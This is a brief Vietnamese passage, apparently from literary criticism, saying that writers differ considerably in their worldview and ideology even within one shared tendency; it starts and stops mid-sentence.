nguồn từ những đặc điểm thế giới quan tư tưởng hệ của chúng, những nhà văn ấy khác nhau một cách đáng kể và trong giới hạn của một khuynh hướng chung lại hóa ra là đại diện khác nh